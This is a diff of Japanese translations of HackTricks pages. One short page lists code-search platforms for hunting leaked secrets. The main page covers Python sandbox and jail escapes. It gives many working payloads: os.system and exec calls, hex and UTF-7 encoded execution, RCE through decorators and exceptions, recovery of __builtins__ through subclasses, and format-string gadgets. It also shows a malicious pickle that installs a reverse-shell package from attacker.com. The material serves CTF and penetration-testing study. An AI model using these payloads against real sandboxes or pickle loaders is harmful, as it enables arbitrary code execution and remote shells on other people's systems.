* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**する
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -4,40 +4,54 @@
|
|||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **Discordグループ**に**参加**する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@hacktricks_live** をフォローする。
|
||||
* **ハッキングトリックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
|
||||
|
||||
</details>
|
||||
|
||||
このページの目的は、1つまたは複数のプラットフォームで数千万のリポジトリを横断してコード(リテラルまたは正規表現)を検索できる**プラットフォームを列挙すること**です。
|
||||
**Try Hard Security Group**
|
||||
|
||||
これは、**漏洩情報**や**脆弱性**パターンを検索する際に役立ちます。
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- [**SourceGraph**](https://sourcegraph.com/search):数百万のリポジトリで検索します。無料版とエンタープライズ版(15日間無料)があります。正規表現をサポートしています。
|
||||
- [**Github Search**](https://github.com/search):Github全体で検索します。正規表現をサポートしています。
|
||||
- おそらく[**Github Code Search**](https://cs.github.com/)をチェックするのも役立ちます。
|
||||
- [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html):Gitlabプロジェクト全体で検索します。正規表現をサポートしています。
|
||||
- [**SearchCode**](https://searchcode.com/):数百万のプロジェクトでコードを検索します。
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
このページの目標は、1つまたは複数のプラットフォームで数千万のリポジトリを横断してコード(リテラルまたは正規表現)を検索できる **プラットフォームを列挙すること** です。
|
||||
|
||||
これにより、**漏洩情報** や **脆弱性** パターンを検索する際に役立ちます。
|
||||
|
||||
* [**SourceGraph**](https://sourcegraph.com/search): 数百万のリポジトリを検索します。無料版とエンタープライズ版(15日間無料)があります。正規表現をサポートしています。
|
||||
* [**Github Search**](https://github.com/search): Github全体を検索します。正規表現をサポートしています。
|
||||
* また、[**Github Code Search**](https://cs.github.com/) もチェックすると便利かもしれません。
|
||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Gitlabプロジェクト全体を検索します。正規表現をサポートしています。
|
||||
* [**SearchCode**](https://searchcode.com/): 数百万のプロジェクトでコードを検索します。
|
||||
|
||||
{% hint style="warning" %}
|
||||
リポジトリ内で漏洩を探す場合、`git log -p`のようなコマンドを実行する際に、**他のコミットを含む他のブランチに秘密情報が含まれている可能性**があることを忘れないでください!
|
||||
リポジトリで漏洩を探す際に `git log -p` のようなコマンドを実行するときは、**他のコミットを含む他のブランチに秘密情報が含まれている可能性** があることを忘れないでください!
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **Discordグループ**に**参加**する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@hacktricks_live** をフォローする。
|
||||
* **ハッキングトリックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,23 +2,31 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksのスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする**
|
||||
- **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
|
||||
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください**
|
||||
|
||||
</details>
|
||||
|
||||
これはPythonサンドボックス保護をバイパスして任意のコマンドを実行するためのトリックです。
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
これはPythonサンドボックス保護をバイパスして任意のコマンドを実行するためのいくつかのトリックです。
|
||||
|
||||
## コマンド実行ライブラリ
|
||||
|
||||
最初に知る必要があるのは、すでにインポートされたライブラリでコードを直接実行できるか、またはこれらのライブラリのいずれかをインポートできるかです:
|
||||
最初に知るべきことは、すでにインポートされたライブラリでコードを直接実行できるか、またはこれらのライブラリのいずれかをインポートできるかどうかです:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
|
@ -61,13 +69,13 @@ Python try to **load libraries from the current directory first** (the following
|
|||
|
||||
![](<../../../.gitbook/assets/image (552).png>)
|
||||
|
||||
## デフォルトでインストールされているPythonパッケージを使用してpickleサンドボックスをバイパスする
|
||||
## Bypass pickle sandbox with the default installed python packages
|
||||
|
||||
### デフォルトパッケージ
|
||||
### Default packages
|
||||
|
||||
ここで**事前にインストールされた**パッケージのリストを見つけることができます: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
pickleからは、システムにインストールされている**任意のライブラリをインポート**することができます。\
|
||||
たとえば、次のpickleは、ロードされるとpipライブラリをインポートして使用します:
|
||||
You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Note that from a pickle you can make the python env **import arbitrary libraries** installed in the system.\
|
||||
For example, the following pickle, when loaded, is going to import the pip library to use it:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
|
@ -91,7 +99,7 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
|||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
リバースシェルを作成するためのパッケージをこちらからダウンロードできます。使用する前に、**解凍し、`setup.py`を変更し、リバースシェル用のIPを入力**してください:
|
||||
リバースシェルを作成するためのパッケージをこちらからダウンロードできます。使用する前に、**解凍し、`setup.py`を変更し、リバースシェル用のIPを入力してください**:
|
||||
|
||||
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
|
||||
|
||||
|
@ -105,7 +113,7 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
|||
execは複数行の文字列と";"を許可しますが、evalは許可しません(ワルラス演算子を確認してください)
|
||||
{% endhint %}
|
||||
|
||||
特定の文字が禁止されている場合は、**16進数/8進数/B64**表現を使用して制限を**バイパス**できます。
|
||||
特定の文字が禁止されている場合は、**hex/octal/B64**表現を使用して制限を**バイパス**できます。
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
|
@ -149,7 +157,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
|||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
## エンコーディング(UTF-7)を通じた保護のバイパス
|
||||
## エンコーディング(UTF-7)を通じた保護のバイパス
|
||||
|
||||
[**この解説**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)では、UFT-7が使用され、明らかなサンドボックス内で任意のPythonコードをロードおよび実行します。
|
||||
```python
|
||||
|
@ -166,7 +174,7 @@ return x
|
|||
|
||||
## 呼び出しを使用せずにPythonを実行する
|
||||
|
||||
**呼び出しを行うことを許可しない**Pythonのジェイル内にいる場合でも、**任意の関数、コード、コマンドを実行**する方法がいくつかあります。
|
||||
**呼び出しを行うことを許可しない**Pythonの監獄内にいる場合でも、**任意の関数、コード**、および**コマンドを実行**する方法がいくつかあります。
|
||||
|
||||
### [デコレータ](https://docs.python.org/3/glossary.html#term-decorator)を使用したRCE
|
||||
```python
|
||||
|
@ -196,7 +204,7 @@ class _:pass
|
|||
|
||||
#### カスタムクラスによるRCE
|
||||
|
||||
いくつかの**クラスメソッド**を変更して(_既存のクラスメソッドを上書きするか新しいクラスを作成して_)、それらを**直接呼び出すことなくトリガー**されたときに**任意のコードを実行**することができます。
|
||||
いくつかの**クラスメソッド**を変更して(_既存のクラスメソッドを上書きするか新しいクラスを作成することで_)、それらを**直接呼び出さずにトリガー**されたときに**任意のコードを実行**させることができます。
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
|
@ -265,7 +273,7 @@ Sub['import os; os.system("sh")']
|
|||
```
|
||||
#### 例外を使用してオブジェクトを作成する
|
||||
|
||||
**例外が発生すると**、**Exception**のオブジェクトが直接コンストラクタを呼び出さなくても**作成されます**([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)**のトリック**から)。
|
||||
**例外がトリガーされる**と、**Exception**のオブジェクトが直接コンストラクタを呼び出さなくても**作成されます**([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)**のトリックからのテクニック**):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
|
@ -321,7 +329,7 @@ pass
|
|||
* [**Python2の組み込み関数**](https://docs.python.org/2/library/functions.html)
|
||||
* [**Python3の組み込み関数**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
**`__builtins__`** オブジェクトにアクセスできる場合、ライブラリをインポートすることができます(最後のセクションで示されている他の文字列表現を使用することもできます)。
|
||||
もし **`__builtins__`** オブジェクトにアクセスできる場合、ライブラリをインポートすることができます(最後のセクションで示されている他の文字列表現を使用することもできます)。
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
|
@ -329,7 +337,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
|||
### ビルトインなし
|
||||
|
||||
`__builtins__` がない場合、**すべてのグローバル関数**(`open`、`import`、`print`など)が**ロードされていない**ため、何もインポートしたりファイルを読み書きしたりすることはできません。\
|
||||
ただし、**デフォルトではPythonは多くのモジュールをメモリにインポート**します。これらのモジュールは無害に見えるかもしれませんが、その中には**危険な機能**をインポートしているものもあり、これらにアクセスしてさらに**任意のコードを実行**することができます。
|
||||
ただし、**デフォルトではPythonは多くのモジュールをメモリにインポート**します。これらのモジュールは無害に見えるかもしれませんが、その中には**危険な機能をインポート**しているものもあり、これらにアクセスして**任意のコードを実行**することができます。
|
||||
|
||||
以下の例では、これらの "**無害**" モジュールを**乱用**して、それらの中にある**危険な機能**に**アクセス**する方法を示しています。
|
||||
|
||||
|
@ -356,7 +364,7 @@ get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
|
|||
```
|
||||
#### Python3
|
||||
|
||||
Python3をバイパスするための一般的な方法論とリソース
|
||||
#### Python3
|
||||
```python
|
||||
# Obtain builtins from a globally defined function
|
||||
# https://docs.python.org/3/library/functions.html
|
||||
|
@ -375,9 +383,9 @@ get_flag.__globals__['__builtins__']
|
|||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**以下には、**](./#recursive-search-of-builtins-globals) **ビルトイン**を見つけることができる**場所**が**数十**/**数百**あります。
|
||||
[**以下には、**](./#recursive-search-of-builtins-globals) **ビルトイン** を見つけることができる**場所**が**数十**/**数百**あります。
|
||||
|
||||
#### Python2 および Python3
|
||||
#### Python2 と Python3
|
||||
```python
|
||||
# Recover __builtins__ and make everything easier
|
||||
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
||||
|
@ -417,17 +425,15 @@ class_obj.__init__.__globals__
|
|||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
## グローバルを見つけるための再帰検索
|
||||
[**以下には、より大きな機能があります**](./#recursive-search-of-builtins-globals)、そこで**グローバル変数**を見つけることができる**場所**が**数十**/**数百**あります。
|
||||
|
||||
ここには、**複数の場所**で**グローバル**を見つけることができる大きな関数があります。
|
||||
## 任意の実行の発見
|
||||
|
||||
## 任意の実行を発見する
|
||||
|
||||
ここでは、**より危険な機能**を簡単に発見し、より信頼性の高いエクスプロイトを提案する方法を説明したいと思います。
|
||||
ここでは、**より危険な機能がロードされている**ことを簡単に発見し、より信頼性の高いエクスプロイトを提案する方法を説明したいと思います。
|
||||
|
||||
#### バイパスを使用してサブクラスにアクセスする
|
||||
|
||||
このテクニックの最も敏感な部分の1つは、**基本のサブクラスにアクセスできること**です。前の例では、`''.__class__.__base__.__subclasses__()`を使用してこれを行いましたが、**他の可能な方法**もあります。
|
||||
このテクニックの最も敏感な部分の1つは、**基本のサブクラスにアクセスできること**です。以前の例では、`''.__class__.__base__.__subclasses__()`を使用してこれを行いましたが、**他の可能な方法**もあります。
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
|
@ -457,12 +463,12 @@ defined_func.__class__.__base__.__subclasses__()
|
|||
```
|
||||
### 危険なライブラリの検出
|
||||
|
||||
例えば、ライブラリ**`sys`**を使用すると**任意のライブラリをインポート**できることを知っている場合、**それらの中でsysをインポートしたすべてのモジュール**を検索できます:
|
||||
例えば、ライブラリ**`sys`**を使用して**任意のライブラリをインポート**できることを知っている場合、**それらの中でsysをインポートしているすべてのモジュール**を検索できます:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
多くの方法がありますが、**実行するだけでいい**ものが必要です:
|
||||
多くの方法がありますが、**実行するだけでいい**ものが1つだけ必要です:
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
|
@ -555,7 +561,7 @@ __builtins__: _ModuleLock、_DummyModuleLock、_ModuleLockManager、ModuleSpec
|
|||
## 組み込み関数、グローバル変数などの再帰的検索
|
||||
|
||||
{% hint style="warning" %}
|
||||
これは単純に**素晴らしい**です。もし**globals、builtins、openなどのオブジェクトを探している**場合は、このスクリプトを使用して、そのオブジェクトを見つける場所を**再帰的に**見つけることができます。
|
||||
これは単に**素晴らしい**です。もし**globals、builtins、openなどのオブジェクトを探している**場合は、このスクリプトを使用して、そのオブジェクトを見つける場所を**再帰的に**見つけることができます。
|
||||
{% endhint %}
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
@ -680,11 +686,11 @@ main()
|
|||
|
||||
## Pythonフォーマット文字列
|
||||
|
||||
Pythonに**送信される**文字列が**フォーマット**される場合、`{}`を使用して**Python内部情報**にアクセスできます。前述の例を使用して、グローバル変数やビルトインにアクセスできます。
|
||||
Pythonに**文字列**を**送信**して**フォーマット**する場合、`{}`を使用して**Pythonの内部情報**にアクセスできます。前述の例を使用して、グローバル変数やビルトイン関数にアクセスできます。
|
||||
|
||||
{% hint style="info" %}
|
||||
ただし、**制限**があります。`.[]`の記号しか使用できないため、**任意のコードを実行することはできません**。情報の読み取りのみが可能です。\
|
||||
_**この脆弱性を通じてコードを実行する方法をご存知の場合は、お知らせください。**_
|
||||
ただし、**制限**があります。`.[]`の記号しか使用できないため、**任意のコードを実行することはできません**。情報を読むだけです。\
|
||||
_**この脆弱性を通じてコードを実行する方法を知っている場合は、お知らせください。**_
|
||||
{% endhint %}
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
|
@ -705,11 +711,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
|||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Note how you can **アクセス属性** in a normal way with a **dot** like `people_obj.__init__` and **dict element** with **parenthesis** without quotes `__globals__[CONFIG]`
|
||||
注意してください。通常の方法で**属性にアクセス**できることに注目してください。`people_obj.__init__`のように**ドット**を使います。また、**辞書要素**には**引用符なし**で**括弧**を使います。`__globals__[CONFIG]`
|
||||
|
||||
Also note that you can use `.__dict__` to enumerate elements of an object `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
また、オブジェクトの要素を列挙するために`.__dict__`を使用できることにも注意してください。`get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Some other interesting characteristics from format strings is the possibility of **executing** the **functions** **`str`**, **`repr`** and **`ascii`** in the indicated object by adding **`!s`**, **`!r`**, **`!a`** respectively:
|
||||
フォーマット文字列の他の興味深い特性は、**`!s`**、**`!r`**、**`!a`**を追加することで、指定されたオブジェクトで**`str`**、**`repr`**、**`ascii`**の**関数**を**実行**できることです。
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
|
@ -728,7 +734,7 @@ return 'HAL 9000'
|
|||
**さらなる例**については、[**https://pyformat.info/**](https://pyformat.info) で**フォーマット** **文字列**の例を見つけることができます。
|
||||
|
||||
{% hint style="danger" %}
|
||||
Python内部オブジェクトから**機密情報を読み取る**ガジェットについても、以下のページをチェックしてください:
|
||||
Python内部オブジェクトから**機密情報を読み取る**ガジェットについては、以下のページもチェックしてください:
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="../python-internal-read-gadgets.md" %}
|
||||
|
@ -749,10 +755,10 @@ Python内部オブジェクトから**機密情報を読み取る**ガジェッ
|
|||
## Pythonオブジェクトの解剖
|
||||
|
||||
{% hint style="info" %}
|
||||
**Pythonバイトコード**について詳しく学びたい場合は、このトピックに関する素晴らしい投稿を読んでください:[**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
**Pythonバイトコード**について詳しく学びたい場合は、このトピックに関する素晴らしい記事を読んでください: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
{% endhint %}
|
||||
|
||||
一部のCTFでは、**フラグが格納されているカスタム関数の名前**が提供され、その**関数の内部**を見て抽出する必要があります。
|
||||
いくつかのCTFでは、**フラグが格納されているカスタム関数の名前**が提供され、その**関数の内部**を見て抽出する必要があります。
|
||||
|
||||
これが調査する関数です:
|
||||
```python
|
||||
|
@ -774,9 +780,9 @@ dir() #General dir() to find what we have loaded
|
|||
dir(get_flag) #Get info tof the function
|
||||
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
|
||||
```
|
||||
#### グローバル変数
|
||||
#### globals
|
||||
|
||||
`__globals__` と `func_globals`(同じ) はグローバル環境を取得します。 以下の例では、いくつかのインポートされたモジュール、いくつかのグローバル変数、およびそれらの内容が宣言されています:
|
||||
`__globals__`および`func_globals`(同じ)は、グローバル環境を取得します。例では、いくつかのインポートされたモジュール、いくつかのグローバル変数、およびそれらの内容が宣言されています。
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
|
@ -789,7 +795,7 @@ CustomClassObject.__class__.__init__.__globals__
|
|||
|
||||
### **関数コードへのアクセス**
|
||||
|
||||
**`__code__`** と `func_code`: 関数のこの**属性**に**アクセス**して、関数のコードオブジェクトを**取得**することができます。
|
||||
**`__code__`** と `func_code`: 関数のこの**属性**にアクセスして、関数のコードオブジェクトを取得できます。
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
|
@ -877,7 +883,7 @@ dis.dis(get_flag)
|
|||
44 LOAD_CONST 0 (None)
|
||||
